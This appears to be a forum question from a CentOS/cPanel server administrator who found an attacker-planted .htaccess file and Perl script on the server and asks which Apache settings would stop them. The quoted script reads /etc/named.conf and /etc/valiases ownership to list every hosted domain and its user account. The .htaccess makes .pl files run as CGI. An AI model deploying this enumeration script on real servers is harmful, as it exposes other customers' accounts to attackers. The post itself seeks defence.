I'm managing an Apache Server (Centos 5.6 + cPanel) and I found a code that lists all user accounts hosted in the server.
I want to know if there is something that I should change in the Apache configuration to prevent users from doing that.
This is the .htaccess code :
Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .pl
AddHandler cgi-script .pl
AddHandler cgi-script .pl
And the .pl code :
open (d0mains, '/etc/named.conf') or $err=1;
@kr = ;
close d0mains;
if ($err){
print (' C0uldn\'t Bypass it , Sorry');
die();
}else{
print '
H3r3 !s 411 D0m4!ns & Us3rs :
';}
foreach my $one (@kr)
{
if($one =~ m/.*?zone "(.*?)" {/){
$filename= "/etc/valiases/".$1;
$owner = getpwuid((stat($filename))[4]);
print ''.$1.' : '.$owner.'
';
}
}